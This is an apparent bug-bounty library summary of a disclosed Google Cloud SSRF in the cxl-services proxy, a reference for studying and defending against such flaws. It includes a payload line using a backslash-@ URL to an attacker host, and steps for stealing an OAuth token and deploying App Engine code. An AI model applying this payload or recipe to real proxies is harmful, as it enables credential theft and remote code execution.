# Fixing the Unfixable: Story of a Google Cloud SSRF

Google Cloud cxl-services proxy whitelist bypassed via backslash-@ URL parsing differential, leaking OAuth token and enabling App Engine RCE.

- Payout: $3,134
- Severity: critical
- Program: Google
- Credited: David Schütz
- Disclosed: 2021-12-31
- Write-up quality: 9/10
- Original: https://bugs.xdavidhu.me/google/2021/12/31/fixing-the-unfixable-story-of-a-google-cloud-ssrf/
- Library page: https://bugbountylibrary.com/r/blog%3Abugs-xdavidhu-me-google-2021-12-31-fixing-the-unfixable-story-of-a-google-cloud-ssrf
- Tags: domain:cloud impact:internal-access impact:rce kind:bounty platform:blog sev:critical tech:gcp technique:incomplete-fix technique:legacy-endpoint technique:parser-differential vuln:auth-bypass vuln:ssrf

**Target:** App Engine proxy endpoint /proxy on cxl-services.appspot.com
**Root cause:** Whitelist validator parsed URL per RFC3986 (treating \@ as userinfo) while the HTTP client parsed per WHATWG (treating \ as authority terminator), so the validated host differed from the requested host.
**Steps:**
1. Identify /proxy?url= endpoint on cxl-services.appspot.com used by GCP product demos.
2. Confirm whitelist allows only *.googleapis.com hosts.
3. Send `GET /proxy?url=https://attacker.tld\@jobs.googleapis.com/` to bypass whitelist.
4. Observe request arriving at attacker server with `authorization: Bearer ya29...` token.
5. Use stolen token with Resource Manager projects.list to enumerate accessible projects.
6. List GCS buckets, App Engine versions, and deploy a new App Engine service to achieve code execution.
**How found:** Noticed the demo proxied requests through cxl-services with a url parameter—classic SSRF signal. Tested whitelist with various URL forms, then applied the backslash-trick from prior research exploiting WHATWG vs RFC3986 parsing differences.
**Exploitation:** Attacker hosts a server, crafts backslash-@ URL to bypass whitelist, receives the proxy's OAuth bearer token, then uses it to enumerate GCP projects, read log buckets, and deploy arbitrary App Engine code (RCE) in the cxl-services project.
**Escalation:** Token pivoted from SSRF to GCP resource enumeration, log bucket access, and full App Engine code deployment; later bypasses used old unpatched App Engine versions via VERSION-dot-SERVICE URLs.
**Insight:** When a proxy validates a URL then fetches it, test parser differentials: insert `\` before `@` (and with arbitrary chars between) so the validator sees userinfo but the HTTP client sees a different authority. Also check old App Engine versions via VERSION-dot-SERVICE URLs after a fix.
